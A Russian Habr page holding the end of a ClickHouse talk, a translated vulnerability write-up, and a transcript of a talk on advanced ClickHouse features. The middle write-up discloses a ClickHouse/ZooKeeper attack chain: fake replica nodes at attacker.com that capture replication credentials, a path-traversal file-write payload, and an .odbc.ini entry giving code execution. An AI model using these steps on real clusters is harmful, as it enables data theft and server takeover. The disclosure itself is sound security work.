  • Summing/AggregatingMergeTrees это технологии, которые позволяют агрегировать или считать снапшот state как частный случай. И это существенно упрощает многие вещи.
  • Materialized Views позволяют обойти ограничение в один индекс. Может быть, я это не очень четко проговорил, но когда мы загружали логи, то сырые логи были в таблице с одним индексом, а на attribute логи были в таблице, т. е. те же самые данные, только отфильтрованные, но индекс был совершенно другим. Вроде бы одни и те же данные, но разная сортировка. И Materialized Views позволяет, если вам это нужно, обойти такое ограничение ClickHouse.
  • Уменьшайте гранулярность индекса для точечных запросов.
  • И распределяйте данные умно, старайтесь максимально локализовать данные внутри сервера. И старайтесь, чтобы запросы использовали тоже локализацию там, где это возможно максимально.


И резюмируя это небольшое выступление, можно сказать, что ClickHouse сейчас твердо занял территорию и коммерческих баз данных, и open source баз данных, т. е. именно для аналитики. Он замечательно вписался в этот ландшафт. И более того, он потихонечку начинает других вытеснять, потому что, когда есть ClickHouse, то вам не нужен InfiniDB. Вертика, может быть, скоро будет не нужна, если они сделают нормальную поддержку SQL. Пользуйтесь!



-Спасибо за доклад! Очень интересно! Были ли какие-то сравнения с Apache Phoenix?


-Нет, я не слышал, чтобы кто-то сравнивал. Мы и Яндекс стараемся отслеживать все сравнения ClickHouse с разными базами данных. Потому что если вдруг что-то оказывается быстрее ClickHouse, то Леша Миловидов не может спать по ночам и начинает быстренько его ускорять. Я не слышал о таком сравнении.


  • (Алексей Миловидов) Apache Phoenix это SQL-движок на Hbase. Hbase в основном предназначен для сценария работ типа key-value. Там в каждой строчке может быть произвольное количество столбцов с произвольными именами. Это можно сказать про такие системы как Hbase, Cassandra. И на них именно тяжелые аналитические запросы нормально работать не будут. Или вы можете подумать, что они работают нормально, если у вас не было никакого опыта работы с ClickHouse.


  • Спасибо


    • Добрый день! Я уже довольно много интересуюсь этой темой, потому что у меня подсистема аналитическая. Но когда я смотрю на ClickHouse, то у меня возникает ощущение, что ClickHouse очень хорошо подходит для анализа ивентов, mutable. И если мне нужно анализировать много бизнес-данных с кучей больших таблиц, то ClickHouse, насколько я понимаю, мне не очень подходит? Особенно, если они меняются. Правильно ли это или есть примеры, которые могут опровергнуть это?


    • Это правильно. И это правда про большинство специализированных аналитических баз данных. Они заточены под то, что есть одна или несколько больших таблиц, которые mutable, и под много маленьких, которые медленно изменяются. Т. е. ClickHouse не как Oracle, куда можно положить все и строить какие-то очень сложные запросы. Для того чтобы ClickHouse эффективно использовать, надо схему выстраивать тем образом, который в ClickHouse хорошо работает. Т. е. избегать излишней нормализации, использовать словари, стараться делать меньше длинных связей. И если схему таким образом выстроить, то тогда аналогичные бизнес-задачи на ClickHouse могут быть решены гораздо более эффективно, чем традиционной реляционной базе данных.




Спасибо за доклад! У меня вопрос по последнему финансовому кейсу. У них была аналитика. Надо было сравнить, как идут вверх-вниз. И я так понимаю, что вы систему построили именно под эту аналитику? Если им завтра, допустим, понадобится, какой-то другой отчет по этим данным, нужно заново схему строить и загружать данные? Т. е. делать какую-то предобработку, чтобы получить запрос?


Конечно, это использование ClickHouse для вполне конкретной задачи. Она более традиционно могла бы быть решена в рамках Hadoop. Для Hadoop это идеальная задача. Но на Hadoop это очень медленно. И моя цель это продемонстрировать то, что на ClickHouse можно решать задачи, которые обычно решаются совершенно другими средствами, но при этом сделать гораздо эффективнее. Это под конкретную задачу заточено. Понятно, что если есть задача чем-то похожая, то можно ее похожим образом решать.


Понятно. Вы сказали, что 50 часов обрабатывалось. Это начиная с самого начала, когда загрузили данные или получили результаты?


Да-да.


Хорошо, спасибо большое.


Это на 3-х серверном кластере.


Приветствую! Спасибо за доклад! Все очень интересно. Я немножко не про функционал спрошу, а про использование ClickHouse с точки зрения стабильности. Т. е. случались ли у вас какие-то, приходилось ли восстанавливать? Как при этом себя ведет ClickHouse? И случалось ли так, что у вас вылетала и реплика в том числе? Мы, допустим, у ClickHouse сталкивались с проблемой, когда он вылезает все-таки за свой лимит и падает.


Конечно, идеальных систем нет. И у ClickHouse тоже есть свои проблемы. Но вы слышали о том, чтобы Яндекс.Метрика долго не работала? Наверное, нет. Она работает надежно где-то с 2012-2013-го года на ClickHouse. Про мой опыт я тоже могу сказать. У нас никогда не бывало полных отказов. Какие-то частичные вещи могли случаться, но они никогда не были критичными настолько, чтобы серьезно повлиять на бизнес. Никогда такого не было. ClickHouse достаточно надежен и не падает случайным образом. Можно об этом не беспокоиться. Это не сырая вещь. Это доказано многими компаниями.


Здравствуйте! Вы сказали, что нужно сразу хорошо продумать схему данных. А если это случилось? У меня данные льются-льются. Проходит полгода, и я понимаю, что так жить нельзя, мне надо перезаливать данные и что-то с ними делать.


Это зависит, конечно, от вашей системы. Есть несколько способов сделать это практически без остановки. Например, вы можете создать Materialized View, в котором сделать другую структуру данных, если ее можно однозначно смапировать. Т. е. если она допускает мапирование средствами ClickHouse, т. е. extract каких-то вещей, поменять primary key, поменять партиционирование, то можно сделать Materialized View. Туда ваши старые данные переписать, новые будут писаться автоматически. А потом просто переключиться на использование Materialized View, потом переключить запись и старую таблицу убить. Это вообще без остановки способ.


Спасибо.

Подробнее..

Перевод Зачем нужно держать клетки в зоопарке закрытыми

06.08.2020 16:13:59 | Автор: admin


В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки.


ClickHouse это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх Apache ZooKeeper (ZK) и требуют прав на запись.


Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.


Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper

Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.


При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы DDL, проходящие через ZK для них узлы создаются в листе /clickhouse/task_queue/ddl.


Например вы создаете узел /clickhouse/task_queue/ddl/query-0001 с содержимым:


version: 1query: DROP TABLE xxx ON CLUSTER test;hosts: ['host1:9000', 'host2:9000']

а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROR.


Звучит страшно? Но где же атакующий сможет получить адреса серверов?


Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX имя реплики, foobar имя таблицы):


CREATE TABLE foobar(    `action_id` UInt32 DEFAULT toUInt32(0),    `status` String)ENGINE=ReplicatedMergeTree('/clickhouse/tables/01-01/foobar/', 'chXX')ORDER BY action_id;

будут созданы узлы columns и metadata.


Содержимое /clickhouse/tables/01/foobar/replicas/chXX/hosts:


host: chXX-addressport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009) на сервере chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?


Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host.


Содержимое /clickhouse/tables/0101/foobar/replicas/attacker/host:


host: attacker.comport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий):


format version: 4create_time: 2019-07-31 09:37:42source replica: attackerblock_id: all_7192349136365807998_13893666115934954449getall_0_0_2

где source_replica имя реплики атакующего, созданной на предыдущем шаге, block_id идентификатор блока данных, get команда "get block" (а [тут команды для других операций](
)).


Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com будет получать запросы:


POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1Host: attacker.comAuthorization: XXX

где XXX и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации.


Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.


https://miro.medium.com/max/700/1*92PefViWivYUEYFVhc1NMQ.png
код обработки репликации


Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.


Есть несколько подкаталогов в /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла):


flags каталог для записи флагов, используемых при восстановлении после потери данных;
tmp каталог хранения временных файлов;
user_files операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие);
metadata файлы sql с описаниями таблиц;
preprocessed_configs обработанные производные конфигурационные файлы из /etc/clickhouse-server;
data собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default).


Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец отдельный файл в зависимости от формата движка. Например для таблицы foobar, созданной атакующим, будут созданы следующие файлы:


action_id.binaction_id.mrk2checksums.txtcolumns.txtcount.txtprimary.idxstatus.binstatus.mrk2

Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.


Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):


\x01\x00\x00\x00\x00\x00\x00\x00\x24../../../../../../../../../tmp/pwned\x12\x00\x00\x00\x00\x00\x00\x00hellofromzookeeper

а после конкатенации ../../../../../../../../../tmp/pwned будет записан файл /tmp/pwned с содержимым hellofromzookeeper.


Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).


Внешние словари в RCE


В старых версиях каталог с настройками ClickHouse хранился с правами пользователя clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root.


ODBC в RCE


При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! прим. переводчика).


ClickHouse поддерживает ODBC и может соединяться с другими базами данных. В ODBC вы можете указать путь к библиотеке с драйвером базы данных (.so). Старые версии ClickHouse позволяли проворачивать такое прямо в обработчике запросов, но теперь добавлена более строгая проверка строки соединения в odbc-bridge, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше?


Давайте создадим файл ~/.odbc.ini с таким содержимым:


[lalala]Driver=/var/lib/clickhouse/user_files/test.so

затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будет подгружена библиотека test.so и получено RCE (спасибо buglloc за наводку).


Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers!

Подробнее..

Возможности ClickHouse для продвинутых разработчиков. Алексей Миловидов (2018г)

15.09.2020 10:12:59 | Автор: admin
![](http://personeltest.ru/aways/habrastorage.org/webt/pu/fq/64/pufq64pgen2y7nx3el0l8-znwxa.jpeg)

В докладе планируется рассмотреть малоизвестные или недостаточно хорошо освещённые в документации возможности ClickHouse: инкрементальная агрегация и манипуляции с состояниями агрегатных функций, межкластерное копирование, выполнение запросов без использования сервера и т.п. Будут приведены примеры из практики разработки сервисов Яндекса: как выжать из системы максимум возможного.

Всем привет! Меня зовут Алексей! Я делаю ClickHouse. И сегодня я хочу вам рассказать про некоторые возможности, которые я сам считаю интересными, но про которые не все знают.





![](http://personeltest.ru/aways/habrastorage.org/webt/wf/zp/ze/wfzpzexig0isbnlqra24kx6t87e.jpeg)

Например, сэмплирование. И, соответственно, ключ сэмплирования. Это возможность выполнения приближенных запросов. Знает пара человек. Уже хорошо.

Рассмотрим типичную задачу для ClickHouse, именно ту задачу, для которой он предназначался изначально. Есть у вас какой-то clickstream. Например, рекламная сеть, система веб-аналитики. И, допустим, есть у вас Яндекс.Метрика.

И у вас есть куча событий, которые вы хотите хранить в неагрегированном виде, т. е. без какой-либо потери информации и генерировать отчеты налету в режиме онлайн.

![](http://personeltest.ru/aways/habrastorage.org/webt/1i/gc/pq/1igcpqx18d5zo0ep7rj_zfg2bhc.jpeg)

И вы хотите генерировать отчеты для разных клиентов. И среди клиентов есть некоторые маленькие, например, маленькие сайты типа pupkin.narod.ru; есть средние и есть действительно крупные такие, как yandex.ru. И вы хотите для таких крупных клиентов получать отчеты мгновенно. Что значит мгновенно? Хотя бы за секунду.

И для этого есть отличное решение. Можно выполнять запросы не целиком, а по некоторому сэмплу. Для этого нужно просто объявить в вашей таблице MergeTree, ключ сэмплирования.

![](http://personeltest.ru/aways/habrastorage.org/webt/vr/qk/_w/vrqk_wcxhktimd--gbffzxpwsys.jpeg)

И вот, как это делается. CREATE TABLE. Дальше ORDER BY первичный ключ. Кстати, структура точно такая же, как в Яндекс.Метрике для таблиц просмотров событий. Номер счетчика, т. е. идентификатор сайта, потом дата идет, а потом некий Hash от идентификатора пользователя. Дальше партиционирование. И в самом низу ключ сэмплирования. И в качестве ключа сэмплирования hash от идентификатора пользователя.

![](http://personeltest.ru/aways/habrastorage.org/webt/j7/vc/pr/j7vcprd2vs33rger_r8w-8vascu.jpeg)

Рассмотрим, что это дает. Сначала возьмем какой-нибудь запрос и выполним его просто так. Таблица хитов, данные за месяц. Считаем количество уникальных посетителей по одному сайту.

Выполнился за 4,5 секунды и скорость приличная, т. е. 3,5 гигабайта в секунду. И это на одном сервере. Но 4,5 секунды ждать не хочется.

![](http://personeltest.ru/aways/habrastorage.org/webt/hi/0t/jr/hi0tjrif0-lbos8qgew1ew2aa_0.jpeg)

Давайте добавим простую секцию в запросе сэмпл 1/10. Прямо после from пишем такой синтаксис. Теперь тот же самый запрос выполняется за 0,6 секунды. Если посмотреть скорость в гигабайтах в секунду, то стало почему-то меньше, всего лишь 2,5 гигабайта в секунду. Но нас это не волнует, главное не скорость, а то, чтобы запрос выполнялся за маленькое время. А с какой скоростью в байтах он читает, обрабатывает это уже его дело. Правда, количество уникальных посетителей получилось в 10 раз меньше. И его еще надо умножить, чтобы получить приблизительный результат.

![](http://personeltest.ru/aways/habrastorage.org/webt/si/lv/db/silvdbdioopkwhikvfrsksppaje.jpeg)

Что нужно, чтобы все это работало?

Во-первых, ключ сэмплирования должен входить в первичный ключ. Это как в нашем примере. Последний компонент первичного ключа, после него ничего другое не имеет смысла.
Он должен быть равномерно распределенным в своем типе данных. Типичная ошибка, если мы в качестве ключа сэмплирования возьмем unix timestamp.
Если нарисовать график количества событий в зависимости от timestamp, то там будет вот такая штука (рисует волну, размахивая рукой в воздухе). Все, кто работал админом, DevOps, видели такой график. Это график активности по времени суток. Так нельзя, потому что неравномерно.
Надо что-нибудь захэшировать. Если захэшировать идентификатор пользователя, то все будет прекрасно.
Ключ сэмплирования должен быть легким как для чтения из таблицы, так и для вычисления.
Тоже плохой пример, когда берем url, хэшируем его и этот hash используем в качестве ключа сэмплирования. Это очень плохо, потому что, если просто выполняется запрос, то все нормально. А теперь добавляется сэмпл и запрос может работать дольше, потому что вам нужно будет этот url из таблицы прочитать. А потом еще и хэшировать какой-то сложной hash-функцией.
Возьмите в качестве ключа сэмплирования что-нибудь маленькое.
Вот это более распространенная ошибка. Надо, чтобы ключ сэмплирования не находился после мелко-гранулированной части первичного ключа.
Например, в первичном ключе у вас есть время с точностью до секунды. Допустим, у вас логи и это естественно. А потом вы еще добавляете какой-то hash. И это будет работать плохо, потому что ключ сэмплирования позволяет именно с диска читать мало данных. И почему это работает? Потому что данные на диске упорядочены по первичному ключу. И если есть какие-то диапазоны префикса первичного ключа, то из них можно читать меньшие поддиапазоны ключа сэмплирования. А если там эти диапазоны маленькие для каждой секунды, то из них уже нет возможности эффективно какой-нибудь кусочек прочитать, придется читать все.
В нашем примере из Яндекс.Метрики первичный ключ это счетчик, дата и только затем ключ сэмплирования. И для больших счетчиков есть много данных за каждую дату. И из этих данных можно выбрать меньше данных достаточно эффективно.

![](http://personeltest.ru/aways/habrastorage.org/webt/ho/b2/qw/hob2qwa8luxvjjiagurciarnwqc.jpeg)

Посмотрим, какие есть свойства, на которые можно полагаться:

Во-первых, сэмплирование работает детерминировано, потому что у нас там не рандом, у нас нормальная hash-функция, т. е. выполняется запрос один раз, выполняется запрос другой раз и результаты одинаковые, отчеты прыгать не будет.
И он работает консистентно для разных таблиц. Есть у вас таблица с просмотрами страниц, есть таблица с сессиями. В них объявляете один и тот же ключ сэмплирования. И вы можете эти данные джойнить. Т. е. выбирается подмножество 1/10 всех возможных hashes от посетителей и это подмножество будет одинаковым.
И он реально позволяет читать меньше данных с диска, если все сделать правильно.

![](http://personeltest.ru/aways/habrastorage.org/webt/vy/sk/-f/vysk-fuvtp8oapj1eznau8alnvq.jpeg)

А в качестве бонуса применять его можно разными способами:

Самый частый это выбираем 1/10 всевозможных данных.
Другой способ мы можем написать сэмпл какое-то большое число, например, 1 000 000. И в этом случае подмножество выберется динамически. Относительный коэффициент подберется динамически, чтобы выбрать не менее, чем 1 000 000, но и не сильно больше. Правда, в этом случае будут трудности с тем, чтобы узнать, какой же относительный коэффициент сэмплирования выбрался, какая это доля данных. Т. е. это 1 000 000 строк из 10 000 000 или из 1 000 000 000? И для этого есть никому не известная возможность это виртуальный столбец _sample_factor. И теперь вы можете написать: x умножить на _sample_factor, получится все, что нужно.
Еще одна интересная возможность это SAMPLE OFFSET. Это очень просто. Вы выбрали 1/10 данных, а теперь вы можете сказать: Дайте мне, пожалуйста, вторую 1/10 данных. И для этого просто напишите: SAMPLE 1/10 OFFSET 1/10. И так можно все эти данные перебрать.
И еще один бонус. Если у вас в таблице есть ключ сэмплирования, то вы можете теперь распараллелить запрос не только по шардам, но и по репликам каждого шарда. На разных репликах будет выбираться разный сэмпл данных так, чтобы покрыть все множество. И, соответственно, запрос будет выполняться быстрее. Или не будет? Будет, если ключ сэмплирования выбран так, что его легко читать, вычислять и это само сэмплирование, добавленное в запрос, не потребует существенного overhead.

![](http://personeltest.ru/aways/habrastorage.org/webt/lr/ms/7x/lrms7xwzzepfnseq0wroozfa69a.jpeg)

Теперь перейдем к следующей интересной возможности это комбинаторы агрегатных функций. Есть обычные агрегатные функции такие, как сумма, среднее, count distinct, который можно записать с помощью uniq. И этих uniq есть 4 разных варианта или даже больше.

Но к каждой агрегатной функции можно еще справа приписать такой комбинатор. Дописывается прямо в имя. Например, If. Мы вместо суммы, пишем: sumIf. И теперь это у нас агрегатная функция принимает не один аргумент, а сразу два. Первый аргумент это то, что мы суммируем, а второй это условие, которое возвращает какое-нибудь число типа UInt8. И там, где не нули, мы это будем суммировать. А там, где нули, все будем пропускать.

![](http://personeltest.ru/aways/habrastorage.org/webt/hk/hl/o4/hkhlo4iys2lsy4ayd3t_mysrraa.jpeg)

Для чего это нужно? Типичное применение это сравнение разных сегментов. Мы это используем для сравнения сегментов в Яндекс.Метрике.

В данном запросе мы за один проход считаем количество уникальных посетителей для Яндекса и количество уникальных посетителей для Google. Очень удобно.

![](http://personeltest.ru/aways/habrastorage.org/webt/dp/l3/yn/dpl3ynpppht1429pv_velrujsh0.jpeg)

Другой пример комбинатора агрегатной функции это Array. Была у вас обычная агрегатная функция, вы прописали к ней Array. И теперь у вас получилась агрегатная функция, которая принимает массив из тех типов данных, которые раньше в качестве аргумента надо было передавать. И она просто применяет для всех элементов массива.

Рассмотрим пример. Есть у нас два массива разных. И мы сначала считаем количество разных массивов, потом количество разных элементов в объединении этих массивов.

Потом есть интересная агрегатная функция groupArray, но это немножко другое. Это агрегатная функция, которая все значения собирает в массив. Т. е. теперь у нас в результате будет многомерный массив из двух массивов.

Потом groupUniqArray. Функция собирает все уникальные значения в массив.

И еще мы к этим функциям можем приписать комбинатор Array и получится что-то такое, что сначала выглядит несколько необычно и даже неудобно, но тем не менее к этому можно привыкнуть.

Итак, что такое groupArrayArray? Это значит взять массивы, взять все элементы этих массивов, а потом собрать их в один массив. Получится один массив из всех элементов.

А groupUniqArrayArray это тоже самое, только для разных элементов.

![](http://personeltest.ru/aways/habrastorage.org/webt/1x/u3/rd/1xu3rdmjhh8oha4jgh3xmpjkohk.jpeg)

Посмотрим, что получилось. Кажется, получилось все верно. В одном случае количество разных массивов, в другом случае количество разных элементов, в третьем случае массивы собрали в многомерный массив, в четвертом случае разные массивы собрали в многомерный массив, а потом собрали все элементы в один массив, а потом все разные элементы собрали в один массив.

![](http://personeltest.ru/aways/habrastorage.org/webt/v4/xc/-w/v4xc-wwdxjjlv_n12p14b3yt59m.jpeg)

Комбинаторы агрегатных функций можно комбинировать друг с другом. Т. е. взяли агрегатную функцию sum, приписали к ней Array, а потом можно еще If приписать, а можно, наоборот. Т. е. sumArrayIf и SumIfArray.

В чем разница? В одном случае у нас будет два аргумента массива. Мы возьмем элементы этих массивов соответствующие, а массивы должны быть одинаковых длин. И один элемент это то, что суммировать, а другое это условие: надо ли суммировать этот элемент или не надо. Это у нас будет sumIfArray. Т. е. комбинатор Array применяется к функции sumIf и превращает оба аргумента в массивы.

А в другом случае sumArrayIf. Первый аргумент будет массивом, а второй это условие: нужно ли применять функцию sumArray к массиву целиком или не нужно.

![](http://personeltest.ru/aways/habrastorage.org/webt/no/_d/oq/no_doq92fks0cqhy3lcbuk7d3ju.jpeg)

А еще они могут комбинироваться так. Тут очень много комбинаторов: sumForEachStateForEachIfArrayIfState. Я не знаю, что это делает, но я написал функциональный тест на этот случай, чтобы оно работало. Оно должно работать. Если для вашей задачи это нужно, то оно будет работать.

![](http://personeltest.ru/aways/habrastorage.org/webt/ss/mo/ix/ssmoixgahzyuuqyy7i5ywamazyq.jpeg)

Агрегатную функцию можно вычислять не только до конца. Есть у вас агрегатная функция, например, сумма. Вычислили, получили сумму. Все просто.

Если есть агрегатная функция среднее, то вычислили и получили среднее, но в процессе вычисления мы будем накапливать некоторые состояния и это будет два числа. Это будет сумма и количество. А потом мы делим одно на другое.

Если это количество уникальных посетителей, то там тоже будет какое-то состояние, которое может быть довольно сложным.

Какое нужно состояние, чтобы посчитать count distinct? Hash table. Вчера был замечательный доклад про hashтаблицы и как раз на эту тему.

И это нужно для многих применений, например, для распределенной обработки запроса. В случае распределенной обработки запроса мы отправляем некоторый маленький запрос на каждый сервер и говорим: Вычисли мне эти агрегатные функции, но не до конца, до промежуточного состояния. А потом эти промежуточные состояния будут переданы на сервер-инициатор запроса и объединены вместе.

Это внутренний механизм, но он в ClickHouse доступен и для пользователя. Если вы возьмете агрегатную функцию и добавите к ней комбинатор State, то вы получите это промежуточное состояние. И она вам вернет значение некоторого типа, который в других базах данных не встретить, типа AggregateFunction и там какие-то параметры.

И значение этого типа можно сохранять в таблицах, т. е. вы можете создать таблицу. Там будет столбец типа AggtregateFunction. И вы там сохраните промежуточные эти состояния и можете потом их доагрегировать, например, разные поисковые фразы.

И есть комбинатор Merge. Он делает агрегатную функцию, которая в качестве аргумента принимает эти состояния, объединяет их вместе и возвращает готовый результат.

Давайте посмотрим, что получится.

![](http://personeltest.ru/aways/habrastorage.org/webt/jt/vw/jn/jtvwjnxcpmy4bqrmi9fz9sbumvy.jpeg)

Состояния вычислений агрегатных функций

Сначала вычислим среднее и uniq из двух чисел. Ничего интересного.

![](http://personeltest.ru/aways/habrastorage.org/webt/_z/ns/4o/_zns4o1uxlc8fhh3uoau32f26ei.jpeg)

А теперь вычислим состояние. Приписали комбинатор State. И он нам вернул какую-то вещь, которой пользоваться невозможно. Какие-то бинарные данные. Половина байт не выводится в терминал, потому что терминал кодировки UTF-8. А эти бинарные данные, естественно, не UTF-8.

![](http://personeltest.ru/aways/habrastorage.org/webt/2u/6g/d4/2u6gd4yhugkcepgmqm0l30rw7ly.jpeg)

А какого типа эти значения? Типа AggregateFunction с аргументами. Типы у нас могут быть параметризованными. Первый параметр это имя агрегатной функции, а остальные параметры это типы аргументов агрегатных функций.

![](http://personeltest.ru/aways/habrastorage.org/webt/6r/gl/da/6rgldach7ajiv8v8shqby6vrrn4.jpeg)

И можем создать таблицу с такими типами. А потом мы можем из таблицы выбрать эти значения, промежуточные состояния, все их вместе объединить и получить готовый результат. Но зачем это все нужно?

![](http://personeltest.ru/aways/habrastorage.org/webt/94/gt/ca/94gtcaif2xoz10rrmgp-sj1m40s.jpeg)

Типичный сценарий использования это инкрементальная агрегация данных.

Я все время говорю, что ClickHouse это такая система, для которой самый лучший сценарий работы это работа с неагрегированными данными. Есть у вас clickstream, логи, транзакции, события мониторинга. Сохраняйте все, что есть. ClickHouse нужен для того, чтобы можно было на лету выполнять всю агрегацию максимально эффективно.

Но все не так просто. Иногда агрегировать данные все-таки полезно, ведь их становится меньше, и запрос работает быстрее.

И мы поддерживаем этот сценарий работы. Достаточно создать таблицу типа AggregatingMergeTree. Это такая таблица, в которой данные будет доагрегироваться в фоне. Вы в ней определили некоторые столбцы с промежуточными состояниями агрегатных функций. Когда вы записываете в эту таблицу, у вас какие-то куски на диске. И эти куски в фоне мержатся. И для одного значения первичного ключа все эти состояния агрегатных функций будут объединены в одно более толстое состояние, т. е. вы можете инкрементально в около реальном времени добавлять данные, обновлять ваши статистики, count distinct, квантили.

Более того, этот движок таблиц очень удобно использовать в качестве движка для материализованных представлений. Это еще одна супервозможность ClickHouse, о которой я рассказывать не буду, потому что она есть в документации.

![](http://personeltest.ru/aways/habrastorage.org/webt/xi/xj/zw/xixjzwwa_xszudzo15ijowh_-ue.jpeg)

Но есть некоторые ограничения. И что мы могли бы сделать лучше?

Сейчас эти состояния агрегатных функций это бинарные данные, которые не версионируются. И мы попали в ловушку, потому что мы не можем их поменять. Я уже рассказал про эту возможность, вы будете ее использовать. И было бы очень плохо, если вы обновили бы ClickHouse-сервер, и она сломалась бы. Поэтому нам придется добавить туда версионирование как можно скорее.
И надо определять больше случаев, когда состояния, казалось бы, разных агрегатных функций, на самом деле это одно и то же. Состояние агрегатной функции sum и sumIf это одно и то же, но сейчас они не совместимы.
Тут написано, что должна быть возможность создавать состояние агрегатной функции с помощью обычной функции*. Сейчас это тоже можно, если функция, например, arrayReduce. Берем массив, указываем, какая нам агрегатная функция нужна, и она передает все эти данные в агрегатную функцию, все элементы массива. И мы получаем значение агрегатной функции. А если в качестве агрегатной функции указать агрегатную функцию с комбинатором State, то мы получим состояние.

\* по состоянию на 2020 год, добавлена функция initializeAggregation.

![](http://personeltest.ru/aways/habrastorage.org/webt/cz/i_/lp/czi_lpqphxksyeajzf-4dassc84.jpeg)

Еще одна интересная возможность ClickHouse это настраиваемый режим консистентности.

По умолчанию, ClickHouse реализует репликацию асинхронную, т. е. сделали INSERT, получили подтверждение, когда данные записаны на одну реплику. И данные будут реплицированы в фоне. Успешный ответ от INSERT вовсе не означает, что данные на нескольких репликах. И вовсе не означает, что данные реплицированы.

Репликация conflict-free без конфликтов по причине того, что у нас нет update. Есть INSERT. Прекрасно коммутируются друг с другом, конфликтов друг с другом быть не может.

И за счет этого она работает mulit-master. Пишите на любую реплику. Если реплика недоступна, то вы можете тот же самый блок данных повторить на другой реплику. Даже если он на самом деле был записан, есть идемпотентность, т. е. будут дедуплицированы. И таким образом вы можете добиться надежной записи с exactly-once семантикой.

Но есть проблема, которая для многих сценарий является серьезным ограничением. Это то, что после подтверждения успеха от INSERT, если реплика, на которую записана единственная и она внезапно исчезла навсегда, а данные не успели до этого отреплицироваться, то данные будут потеряны.

![](http://personeltest.ru/aways/habrastorage.org/webt/5q/xp/co/5qxpcojar9q_gii4at78m3npxik.jpeg)

И специально для таких случаев у нас есть магическая настройка. Теперь можно включить строгую консистентность, а точнее линеаризуемость INSERT.

У нас даже две настройки. Одна для INSERT, а другая для SELECT, потому что они обязательно должны идти с двух сторон.

Первая настройка это включить кворумную запись для INSERT. Минимальное количество реплик, на которые данные должны быть записаны перед тем, как клиент получит успешное подтверждение записи. Ставите insert_quorum = 2. И будет записано на две реплики.

И более того, INSERT линеаризуется в том смысле, что они будут записаны на две реплики, которые при этом содержат все предыдущие INSERT, которые тоже были записаны с кворумом.

А со стороны SELECT есть такая настройка, как select_sequential_consistency. Может быть, ее имя даже не совсем точное. Надо было ее назвать select_linearizability, но переименовывать уже поздно.

В этом случае, если вы отправите SELECT, то будет сделан запрос в метаданные в ZooKeeper. И SELECT будет разрешен только на репликах, которые консистентные, т. е. содержат все раннее подтвержденные INSERT, записанные с кворумом.

Если обратились к другой реплике, то вы получите эксепшен, и клиент должен самостоятельно обратиться к какой-нибудь другой реплике консистентной, которая будет существовать. Это несколько неудобная настройка, но все это для тех случаев, когда это вам действительно нужно.

Я включать эти настройки не рекомендую, но тем не менее для многих сценариев они полезны. И, например, мы в компании это включили, чтобы записывать данные о рекламных кликах.

![](http://personeltest.ru/aways/habrastorage.org/webt/ae/nu/ez/aenuezuzio5way2okjrw_ehqy9u.jpeg)

Теперь рассмотрим еще одну интересную возможность. Это агрегация во внешней памяти.

